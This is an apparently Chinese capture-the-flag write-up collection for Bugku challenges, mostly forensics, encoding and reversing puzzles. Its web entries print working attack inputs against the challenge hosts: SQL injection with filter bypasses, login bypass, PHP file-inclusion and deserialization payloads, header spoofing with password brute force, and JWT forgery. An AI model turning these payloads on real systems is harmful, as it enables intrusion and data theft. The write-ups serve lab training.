Bugku新平臺論劍場writeup

頭像

用010editor打開搜索flag就是找到的flag:flag{bGxvdmV0aGVnaXJs}再經過base64解密flag{llovethegirl}後再來進行MD5加密得到

flag{8ba484e0a0e0a5ee4ffcb791385ddf25}

 

簽到

籤個到吧

flag{abcdABCD1234}

 

0和1的故事

解壓後有flag{}.txt文件,用16進制編輯器打開,

20是空格表示1,那麼09就表示0了,最後轉換爲16進制字符串就是最後的flag

flag{4ad5938eaf0efc0}

 

最簡單的pwn

nc 114.116.54.89 10001

連上 cat flag

flag{6979d853add353c9}

 

Web26

代碼審計

http://123.206.31.85:10026/?num=1&str=a

 

No No No Don't want to go back the door!!!

flag{f0058a1d652f13d6}

 

Web1

代碼審計

http://123.206.31.85:10001/?b=php://input&a=1

或者

http://123.206.31.85:10001/?a=

 

flag{c3fd1661da5efb989c72b91f3c378759}

 

這個人真的很高

下載圖片,提示很高,圖片高度有問題,python腳本算出正確高度

 

# -*- coding: utf-8 -*-

import binascii

import struct

 

crc32key = 0x99daa9f6     #1D-20

for i in range(0, 65535):

  height = struct.pack('>i', i)

  data = '\x49\x48\x44\x52\x00\x00\x01\xf3' + height + '\x08\x06\x00\x00\x00'     #0C-1C

  crc32result = binascii.crc32(data) & 0xffffffff

 

  if crc32result == crc32key:

    print ''.join(map(lambda c: "%02X" % ord(c), height))

 

輸出000002D7

010editor改高度000002D7,打開發現ffoEliuaanrsgDey{少一部分

再用010editor看文件末尾有aabI11us11ts1yy0}合起來ffoEliuaanrsgDey{aabI11us11ts1yy0}

柵欄加密,密碼機器網頁版破解接近的也不對,根據詞義直接再拼出flag

flag{Iss0Easybutyourea11yfinDa111}

 

Web9

考察PUT方法

curl -X PUT -d "bugku" http://123.206.31.85:3031/

或bs改包 反回

ZmxhZ3tUN2w4eHM5ZmMxbmN0OE52aVBUYm4zZkcwZHpYOVZ9

base64解密得

flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V}

 

Snake

反編譯jar文件,寫python逆出flag

 

fake="eobdxpmbhf\\jpgYaiibYagkc{"

flag=""

for i in range(int(len(fake)/2)):

 flag=flag+chr(3^ord(fake[i]))

for f in range(int(len(fake)/2)+1,len(fake)):

 flag=flag+chr(6^ord(fake[f]))

print(flag)

 

或者

用CE修改分數499再喫一個彈出flag爲亂碼

同時修改長度502再喫一個彈出正確flag

flag{snake_ia_good_game}

 

進制轉換

四進制轉字符串,寫python腳本:

 

# -*- coding:utf-8 -*-

four = [1212,1230,1201,1213,1323,1012,1233,1311,1302,1202,1201,1303,1211,301,302,303,1331]

flag = ""

for i in four:

flag += chr(int(str(i),4))

print flag

 

flag{Fourbase123}

 

 

流量分析

解壓後wireshark打開追蹤telnet協議tcp流

發現Password: flag{bugku123456}

flag{bugku123456}

 

easypdf

福昕pdf軟件打開

ctrl+a全選

複製到記事本

Flag{you_found_it}

提示小寫f

flag{you_found_it}

 

 

Android1

用jeb3打開apk文件按tab反彙編

代碼審計,寫出逆運算腳本

 

 

損壞的圖片

用010打開發現16進制逆序了

編寫python腳本逆回來

s=[…"47","4E","50","89"]

r = list(reversed(s))

print r

然後粘貼到010裏保存,打開圖片發現是個二維碼

二維碼工具查看得

flag{f3f4a1a0d4e8e8e1f4a0f}

 

Web2 快速計算提交

寫python腳本

 

import re

import requests

url = "http://123.206.31.85:10002/"

s = requests.session()

get = s.get(url)

print get.content

reg = re.compile("(.*)</p>")

shu = re.findall(reg,get.content)

r = s.post("http://123.206.31.85:10002/",data = {"result":eval(shu[0])})

print r.content

 

flag{b37d6bdd7bb132c7c7f6072cd318697c}

 

Web5 sql注入

打不開

 

Web6 密碼爆破

禁止外網ip地址訪問,bs抓包添加x-forwarded-for: 127.0.0.1

然後找密碼詞典爆破

最後找到密碼test123

登陸後顯示The flag is: 85ff2ee4171396724bae20c0bd851f6b

flag{85ff2ee4171396724bae20c0bd851f6b}

 

Web11 md5爆破

寫python腳本

#coding:utf-8

import hashlib

s="c3ff4b"

def count_md5(strings):

    md5=hashlib.md5(strings.encode('utf-8'))

    ret=md5.hexdigest()

    return ret

for i in range(1,1000000):

    key=count_md5(str(i))

    if key[0:6]==s:

        print(str(i))

 

import hashlib

s = "aea841"

for i in range(100000):

key = hashlib.md5(str(i)).hexdigest()

if key[0:6] == s:

print I

 

flag{e2f86fb5f75da4999e6f4957d89aaca0}

 

懷疑人生

三個文件

第一部分:ctf1.zip

第一個壓縮包通過爆破得到密碼是:pasword

得到一串base64編碼後的字符串,解碼後得到:\u66\u6c\u61\u67\u7b\u68\u61\u63\u6b\u65\u72

十六進制轉字符串得到:flag{hacker

 

第二部分:ctf2.jpg

binwalk -e分離下,得到一個txt的文件裏面有這些個東西是

Brainfuck編碼,網站解碼https://www.splitbrain.org/services/ook

得到:3oD54e

該字符串是base58編碼

base58解碼爲字符串得到:misc

 

第三部分:ctf3.jpg

通過qc工具掃碼得到:

12580}

 

三部分合到一起得到flag:

flag{hackermisc12580}

 

Web13

在數據包的頭部發現一個password:

ZmxhZ3swZjMwYTNiMGIwZWZmZmJkNDI3M2M4YjM3ZDE4MDFiMX0=

base64解碼之後得到一個flag,但是並不是題目的flag,於是在題目中提交flag中的內容:

flag{0f30a3b0b0efffbd4273c8b37d1801b1}

依舊是密碼錯誤,發現刷新後再次查看password的字符串已經是變化的,並不是固定的,不刷新提交後

剛開始沒有引入會話對象Session,導致一直提交的是錯誤的,需要保證GET請求和POST請求在同一個會話當中才能夠獲得最終的flag,編寫python腳本快速提交post:

 

import base64

import requests

 

def get_flag(url):

    s = requests.Session()

    r = s.get(url)

    text=(r.headers['Password'])

    flag=bytes.decode(base64.b64decode(text.encode('utf-8')))

    flag=flag[5:-1]

    r = s.post(url, data={'password':flag})     

    return r.content

 

print(get_flag("http://123.206.31.85:10013/index.php"))

 

flag{FjXAkdGnOBoIUZaFzHqjInY2VndLSg}

 

日誌審計

直接搜索flag字符串 然後發現 一大串的注入痕跡

觀察了發現最後一位的數值不同 猜測可能是ascii 轉成 字符就行了

 

python腳本:

 

#coding=utf-8

import re

 

#打開文件

with open('log','r') as file:

text = file.read()

#匹配ascii碼

asclist = re.findall(r'%3D(\d+)-',text)

#print filelist

#將ascii碼轉換爲字符

flag = ""

for i in range(0,len(asclist)):

flag += chr(int(asclist[i]))

#打印flag

print flag

 

flag{mayiyahei1965ae7569}

 

 

向日葵

一張jpg的圖片,用010Editor打開,常規的搜索下flag,key等沒有發現什麼,移到最後發現了Rar的文件頭

修改文件後綴名爲.rar打開得到

在一個a[5][5]的二維數組中有下列幾個元素

(2,5)

(5,1)

(2,4)

(2,5)

(3,5)

(3,2)

(1,4)

(5,1)

(2,2)

(2,5)

(4,5)

(2,1)

(1,2)

(4,5)

(5,5)

那麼flag是什麼呢?

可能是英文字母5*5的排列,先試試

得到的就是:juijoldugjtfbty,提示最後一步凱撒密碼,於是用密碼機器網頁版凱撒解密看看:

發現最後這個可能是:ithinkctfiseasx提交不對,改成:ithinkctfiseasy,提交正確!

 

flag{ithinkctfiseasy}

 

 

500txt

用linux命令搞定

strings *|grep key{

 

或者windows寫python腳本

for i in range(1,501):

    with open(str(i)+'.txt',"r") as f: 

        str1 = f.read()

        if 'key{' in str1:

            print(i)

輸出318,打開318.txt發現flag,把key改成flag

 

flag{fe9ff627da72364a}

 

Rsa

 

Web18 sql注入

注入過濾判斷

?id=1' and 1=1--+ 回顯空白 -> 可能過濾了and

?id=1' And 1=1--+ 回顯空白 -> 可能過濾了大小寫

?id=1' anandd 1=1--+ 回顯正常 -> 雙寫繞過 過濾了and、or

?id=1' oorrder by 3--+ ->列數爲3

 

注入

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,database() --+

顯示庫爲web18

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,(SselectELECT+GROUP_CONCAT(table_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7765623138) --+

顯示錶名爲flag

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,(SselectELECT+GROUP_CONCAT(column_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x666c6167) --+

顯示列名爲flag

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,(SselectELECT+GROUP_CONCAT(flag+SEPARATOORR+0x3c62723e)+FROM+web18.flag) --+

顯示數據爲

flag{22b7a7c3d73d88050722b3eeb102ee45}

 

畫圖

首先把flag.bmp放在winhex

發現下邊有好多類似於 0 0 255 255 255這樣的數值

猜測是 座標和RGB的值

我們把這個數值複製一下放到一個txt裏

在這裏插入圖片描述

然後可以利用python腳本來畫圖

 

#先安裝庫pip install pillow

#coding:utf-8

from PIL import Image

x = 173 #x座標  通過對txt裏的行數進行整數分解

y = 173 #y座標  x*y = 行數

 

im = Image.new("RGB",(x,y))#創建圖片

file = open('1.txt') #打開rbg值文件

 

#通過一個個rgb點生成圖片

for i in range(0,30000):

    line = file.readline()#獲取一行

    rgb = line.split(" ")#分離rgb

    try:

        im.putpixel((int(rgb[0]),int(rgb[1])),(int(rgb[2]),int(rgb[3]),int(rgb[4])))#rgb轉化爲像素

    except:

        im.show()

        break

 

flag{painterY0ur}

 

Web20

需要get方式快速提交,python腳本:

 

#coding:utf-8

import re

import requests

 

url = "http://123.206.31.85:10020/"

s = requests.session()

 

while 1:

r = s.get(url)

content = r.content

# print(content)

reg = re.compile(r"[0-9a-z]+")

miwen = re.findall(reg,content)[0]

# print(miwen)

url1 = url + "?key=" + str(miwen)

get = s.get(url1)

print(get.content)

 

flag{Md5tiMe8888882019}

 

Easyzip

 

web25

御劍掃描到

http://123.206.31.85:10025/shell.php

進入下載

http://123.206.31.85:10025/2/ziidan.txt

刪除/2

http://123.206.31.85:10025/ziidan.txt

手工輸入hsjnb到shell.php

 

flag{ee90585a68b88bcd}

 

basere

 

複雜加密

 

Web3

文件包含漏洞

http://123.206.31.85:10003/?op=php://filter/read=convert.base64-encode/resource=flag

 

讀出

PD9waHAgCiRmbGFnPSJmbGFne2UwMGY4OTMxMDM3Y2JkYjI1ZjZiMWQ4MmRmZTU1NTJmfSI7IAo/Pgo=

base64解密後

 

<?php

$flag="flag{e00f8931037cbdb25f6b1d82dfe5552f}";

?>

flag{e00f8931037cbdb25f6b1d82dfe5552f}

 

Web4

bs抓包後改

username=admin&password=' or 1='1

 

flag{7ae7de60f14eb3cbd9403a0c4328598d}

 

flag在不在這裏

下載解壓發現6個文件其中11.png大小不一樣

用010editor打開,改高度爲1000,發現flag:

flag{e53a0a2978c28872a4505bdb51db06dc}

 

神奇的字符串 base三重加密

根據密碼589164先是base64,再是base61,最後是base58

python2腳本:

#coding:utf-8

 

import base64

import base91

import base58

 

a = "bE0veldtTDs7NzlTe3hzbSFYSj5Sa2U6eyQ4NyVrI3FvWFU6Qls7QlVK"

b = base64.b64decode(a)

c = base91.decode(b)

d = base58.b58decode(str(c))

 

print(b)

print(c)

print(d)

 

輸出:

lM/zWmL;;79S{xsm!XJ>Rke:{$87%k#qoXU:B[;BUJ

iDMb6ZMTGMptmkhxw36mqkjCkyUHL3sSp4

flag{JustUse3TimesEncode}

[Finished in 0.1s]

 

flag{JustUse3TimesEncode}

 

blind

先foremost分離圖片爲圖片和壓縮包,壓縮包再解壓得到圖片,兩張一樣的圖,猜測是盲水印

#項目1 https://github.com/chishaxie/BlindWaterMark

#python運行

#python bwm.py decode blind.png blind_blind.png flag.png #該項目本題不能用

項目2 https://github.com/linyacool/blind-watermark

pthon運行

python decode.py --original blind.png --image blind_blind.png --result result.png

 

得到flag;

flag{s0rryIAmBlind}

 

 

火眼金睛

拿到的題目到手是一個壓縮包

題幹中給的提示有tips:five-digit

於是猜測是5位數字

Ziperello.exe暴力破解後得到密碼

下一個壓縮包內有和已經破解出來的壓縮包一樣的文件 於是又用到明文破解了

明文破解必須壓縮算法一樣,用7z再壓縮readme.txt可以

用Advanced Archive Password Recovery破解成功

得到張圖片

首先在010editor查看 最後有組base64

解出來是flag{Th1s_1s_fakef1ag} 這是個假flag

於是又試了其他的方法 發現改了高度之後就OK了

 

得到flag:

flag{40328fb5149e493d}

 

你真的瞭解base的原理嗎

下載文件後,發現有8MB,很明顯這個base很大,用notepad或者其它類型的筆記本打開,發現是一種不常見的base85,所以不瞭解base的自然不知道。

提示說:四個python,所以說明這個要用腳本來爆破,可是base家族那麼多,不知道具體是哪個,所以根本不好爆破,細節來了,題目說python,當通過用python 調用base64 這個模塊的時候,發現這個模塊允許的只有base16 32 64 和85纔可以解碼,且提示標註了4個python,所以基本確定這個碼是通過這四個分別加密得到的。所以可以通過正則的匹配來進行爆破。附帶腳本:

import re

import base64

with open('base_python.txt','r') as f:

    decode = f.read()

    try:

        for i in range(30):

         s = re.compile(r'[a-z]|[=]').findall(decode)

         s1 = re.compile(r'[0189]').findall(decode)

         s2 = re.compile(r'[,%;>|){:”’*?@<.(]').findall(decode)

         if 'flag' in decode:

             print(decode)

             print(i)

             break

         elif (bool(s1) == False) and  (bool(s2) ==False) :

             decode = base64.b32decode(decode)

         elif bool(s) == True and bool(s2) == False :

             decode = base64.b64decode(decode)

         elif bool(s2) == True:

             decode = base64.b85decode(decode)

         else :

             decode = base64.b16decode(decode)

         decode = str(decode, encoding='utf-8')

    except:

        print(decode)

f.close()

print(decode)

 

爆破後發現爆破出來的是:

flag{OTRhZTkyOTE0NmJiNGFjNWZhNDMzOTM1ZjkxYzg4Njk==}

提交併不是對的flag,也許是裏面的也要解碼,不瞭解base的人會認爲這是base64,但是解碼發現是錯誤的。所以這就考到了base的原理性了,發現裏面的字符串的長度是45,而base64通常都是4的倍數,所以明顯多了一個=,去掉=,在解碼即可得到flag,即爲:

flag{94ae929146bb4ac5fa433935f91c8869}

 

Web15

御劍掃到index.php~

下載index.php~打開

代碼審計

case $id>=0 => case 1

case $id>=10 => case 0

構造intval($id) == 0

echo intval("a");  //0

輸入

http://123.206.31.85:10015/index.php?id=a&submit=

得到flag

flag{Is_wh1te_ooo000oo0}

 

密碼忘了,幸虧生成器還在!

 

壞掉的圖像

把圖片丟進winhex裏,發現頭部的 0D 1A 0A 1A是不正確的,正確的應該爲 0D 0A 1A 0A,所以需要更改。

更改完成後打開圖片可以看到王者榮耀的log,但是並沒有什麼用處。

聯想圖片的名字爲Steganography,所以想到使用Image Steganography軟件

把圖片放進去後,選擇解密在文本框裏就會得到flag

flag{Hero1sY0urseLf}

 

baby_reverse

將前三個字符 轉化爲ascii ,然後存放到一個數組裏

得到了加密後的字符串, 接着查看encode()函數,看看它的加密算法

加密的過程是 將用戶輸入的字符串,拆分成了3組,每組進行異或和加減運算之後 累計到一個變量裏,將這個變量跟enflag做比較。

python寫一個腳本:

enflag=[0x7e,0x74,0x75,0x7f,0x67,0x63,0x24,0x63,0x60,0x65,0x74,0x6d,0x24,0x7d,0x43,0x25,0x7a,0x69]

v3=[]

v4=[]

v5=[]

v7=18

flag=''

for i in range(0,len(enflag),3):

    v5.append((enflag[i]^v7)-6)

    v4.append((enflag[i+1]^v7)+6)

    v3.append(enflag[i+2]^v7^6)

 

for j in range(v7/3):

    flag+=chr(v5[j])+chr(v4[j])+chr(v3[j])

    print flag

 

flag{w0wtqly0uW1n}

 

被截獲的電報

用Audacity打開音頻文件

根據波形寫出信息

python腳本解密

#coding:utf-8

#!/usr/bin/python

#摩爾電碼解密

from __future__ import print_function

a = "01 1010 1 00 11111 10 1101 001 00 1010 101"

b = a.split(" ") #分隔符

print(b)

c = []

s = []

for i in range(len(b)):

c.append(b[i].replace("0",".")) #0替換.

for i in range(len(c)):

s.append(c[i].replace("1","-")) #1替換-

print(s)

 

dict = {'.-': 'A',

        '-...': 'B',

        '-.-.': 'C',

        '-..':'D',

        '.':'E',

        '..-.':'F',

        '--.': 'G',

        '....': 'H',

        '..': 'I',

        '.---':'J',

        '-.-': 'K',

        '.-..': 'L',

        '--': 'M',

        '-.': 'N',

        '---': 'O',

        '.--.': 'P',

        '--.-': 'Q',

        '.-.': 'R',

        '...': 'S',

        '-': 'T',

        '..-': 'U',

        '...-': 'V',

        '.--': 'W',

        '-..-': 'X',

        '-.--': 'Y',

        '--..': 'Z',

        '.----': '1',

        '..---': '2',

        '...--': '3',

        '....-': '4',

        '.....': '5',

        '-....': '6',

        '--...': '7',

        '---..': '8',

        '----.': '9',

        '-----': '0',

        '..--..': '?',

        '-..-.': '/',

        '-.--.-': '()',

        '-....-': '-',

        '.-.-.-': '.',

        };

for item in s:

    print (dict[item],end='')

 

輸出ACTI0NQUICK

Flag{ACTI0NQUICK}

Bilibili

 

Web22

打開就有

flag{a9a014d9093ba693}

 

C2un

下載過來是一個doc文件 打開出現這樣的頁面

於是放到010editor看一眼

PK字樣 應該是個壓縮包 改後綴名zip解壓打開

在裏邊的一個文件夾裏找到flag.zip

這個壓縮包是有密碼的 裏邊有給出提示弱口令 於是就拿去字典跑一下 得到密碼是password

打開me}.txt 發現是一堆十六進制字符

先拿到去轉換一下 看到了PNG的文件頭

所以放到010edito變成圖片

打開圖片放到stegsolve裏

顯示flag{see

結合 之前壓縮包裏的文件名me}.txt

合起來就是

flag{seeme}

 

名偵探柯南

首先將壓縮包裏的“我是柯南.png”圖片丟進winhex中

發現圖片的頭標誌爲jpg文件,於是更改文件後綴名,但是並無明顯變化

於是掏出神器Stegsolve,把照片丟進去看一下

發現一段rar壓縮包的的十六進制,複製下來粘貼到winhex裏保存爲新文件

壓縮包裏有一個論劍場的圖片,打開圖片,然後再丟進winhex中改一下圖片的長度,得到圖片

百度一下吳彥祖的生日是19740930,這樣就得到了另一個壓縮包的密碼,打開發現一個動圖

由於圖片頻率太快在丟進Stegsolve中去,一幀一幀的看

得到flag圖片

flag{lunjian_together}

 

Pickle

 

安慰的話語

先把科加斯的圖片拉去binwalk跑一邊 得到一個壓縮包

壓縮包的txt裏有段佛曰……

 

佛曰:能那慄俱曰皤大夜吶漫侄依佛梵遮等諳顛老訶老諳者耨梵婆真輸故般豆輸俱明皤涅諳得缽跋無俱提至朋缽上實遮侄遮皤心菩吶老皤夷梵諦爍南咒怯心究吶明缽神罰故諳輸勝俱蘇一哆摩恐哆喝哆切切諳阿死哆若有摩缽真若夢姪侄離蒙哆倒是侄薩曰怯耶豆般利皤都若夜俱耨逝訶諳無侄悉涅皤波諳耶諳婆罰彌倒諳摩缽智梵闍怯波罰遠地若侄迦梵闍實殿侄依喝梵寫槃醯特三除竟吶滅諳究漫諳一等冥耶侄世地缽提吉羅皤除罰遮咒薩薩梵盡

像是前幾年很流行的佛曰加密來着(那時候好多論壇和羣裏都玩這個來着)

http://www.keyfc.net/bbs/tools/tudoucode.aspx 解密地址

得到一串

e58e8be7bca9e58c85e5af86e7a081e4b8ba7061737331323321212121

一開始沒啥思路 試了很久

最後發現 把他們加上%然後urldecode解碼就好了

%e5%8e%8b%e7%bc%a9%e5%8c%85%e5%af%86%e7%a0%81%e4%b8%ba%70%61%73%73%31%32%33%21%21%21%21

得到壓縮包密碼爲 pass123!!!!

然後另外一個壓縮包輸入密碼進去之後 會有一堆壓縮包

最後到一個虛空.zip的壓縮包 是一個僞加密

裏邊有個txt是base64

轉碼後得到一個urldecode

再用urldecode工具轉得到

公正公正公正友善公正公正民主公正法治法治誠信民主自由友善公正公正敬業公正法治公正愛國法治自由平等友善敬業公正友善敬業公正公正平等友善敬業公正愛國公正友善敬業法治富強公正平等法治友善法治

再使用社會主義核心價值觀加密解密https://z.duoluosb.com/

flag{Light_of_hope}

 

簡單異或

 

不簡單的壓縮包

 

迷失的cxk

 

Easydoc

打開壓縮包,看到一個doc存在密碼

直接用Accent OFFICE Password Recovery爆破word密碼爲666666

打開word發現下面有一行小字,倒序的核心價值觀編碼

倒序之後進行解碼

python3腳本

#coding:utf-8

Str1 = '治法善友治法業敬諧和國愛等平諧和由自業敬善友由自由自由自國愛等平諧和由自等平信誠由自由自由自國愛等平諧和由自業敬善友由自由自由自主民信誠治法治法正公主民正公明文信誠正公正公正公'

#字符串分片截圖功能,從尾到頭截圖,步長爲-1即倒序截取

print(str1[::-1])

kali裏解碼

cve -d 公正公正公正誠信文明公正民主公正法治 法治誠信民主自由自由自由友善敬業自由和諧平等愛國自由自由自由誠信平等自由和諧平等愛國自由自由自由友善敬業自由和諧平等愛國和諧敬業法治友善法治

輸出

flag{DOCXDOCXDOCX9}

 

提莫隊長

 

三明治

 

Zst

(自己的題)

首先用wireshark打開流量包,分析發現有ftp傳輸協議,用ftp-data命令過濾,發現有兩個傳輸文件flag.txt和screenshot.zip兩個文件,跟蹤tcp流將這兩個文件導出,導出screenshot.zip文件打開發現有加密,導出flag.txt文件發現裏面有字符串Y3RmbWltYQ==,猜測是密碼,輸入提示錯誤,根據後面的==猜測是base64加密,解密後是ctfmima,輸入密碼正確解壓出screenshot.png文件,打開後提示損壞,用010editor打開,發現文件頭PNG文件頭錯誤90504E47,應該爲89504E47,更改後保存,正確打開圖片,看圖發現小人下面有Vigenere提示,猜測flag應該爲維吉尼亞密碼加密,用tweakpng.exe分析圖片信息,發現ICC Profile的name字符串是kfnl{wgkcfkoa},疑似加密flag,但還缺少解密祕鑰,猜測圖片底部可能有隱藏,再次用010editor打開圖片修改圖片高度由520修改爲540,保存後打開圖片,發現隱藏信息fun,用維吉尼亞密碼解密工具解密,密文:kfnl{wgkcfkoa}祕鑰:fun 解密結果:flag{ctfisfun} 此爲正確的flag。

flag{ctfisfun}

 

Web14

git泄露

python GitHack.py http://123.206.31.85:10014/.git/

下載到flag.php

flag{GitIsAFreeVessionControlSyStem}

 

小明的文件

下載過來的壓縮包有四個文件

其中三個txt 只有六個字節

跑了一遍弱口令 和僞加密 發現都不能

那應該就是要crc32碰撞了

python crc32.py reverse 0xcdcc2b09

都跑一邊 找出有規律的字符串 得到

_easy_crc32_6bits_

成功解壓文件

打開pdf發現一個二維碼

掃描後發現是個假的flag

丟到kali裏foremost分離出兩張jpg

用畫圖修復了分裂的二維碼,加三個點,然後掃出來就是答案

flag{goodyoufindme}

 

Kyrielrving

盲水印 工具 BlindWaterMark-master

python bwm.py decode KyrieIrving.png KyrieIrving_flag.png flag.png

flag{Kyrie_Irving_is_cool}

 

Web21

文件包含、代碼審計、反序列化

代碼審計構造:

http://123.206.31.85:10021/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

解碼得到class.php的源碼,再代碼審計

看到unserialize();這是個反序列化函數,我們可以利用這個函數,傳入參數導致調用index.php中的class類,然後讀取f1a9.php中的內容。

有關反序列化的知識:https://www.cnblogs.com/dragonli/p/5527414.html

反序列化漏洞的知識:https://www.cnblogs.com/perl6/p/7124345.html

於是我們來手寫一個序列化,調用class.php類,然後讓file=f1a9.php。

序列化: O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

最後payload:

http://123.206.31.85:10021/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

查看頁面源代碼:

flag{db2699f21f433a78}

 

一枝獨秀

。。。 。。。

 

你能找到flag

 

Web10

首先查看源碼

<!--hint:NNVTU23LGEZDG===-->

base32解碼得

kk:kk123

估計是用戶名和密碼

登陸

提示vim,且說L3yx的網站有祕密,flag應該就在L3yx的網站裏了

估計於.swp文件泄露有關

Linux下的vim編輯器在非正常退出的情況下會自動生成swp後綴的備份文件(.(filename).swp),比如編輯a.php異常退出時會產生  .a.php.swp

我們登錄後在重新訪問能直接看到目錄

直接找到.swp

linux系統下

使用vi -r L3yx.php.swp

可以恢復文件

不知道jwt的我趕緊了解了一下http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html瞭解後就可以這題主要就是想讓我們同過jwt的檢驗機制登錄了

jwt的前兩部分可以直接base64解密看到,而第三部分簽名的密鑰應該就是源碼裏的key了這樣的話我們就可以自己構造JWT 令牌(也就是token)了

從源碼中可以看出其它三個是固定的,主要還是靠account來確定進入哪個用戶

這裏我們就直接訪問user.php,把抓到的token前兩部分解碼

然後去https://jwt.io/或者https://www.jsonwebtoken.io/

把kk改爲L3yx,再輸入密鑰(這裏還要注意時間的問題,有效期只有五秒)

然後就把構造的token傳入發包即可得到flag

flag{32ef489b73c4362ca6f28b7e7cf88368}

 

Rsa2

待續

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章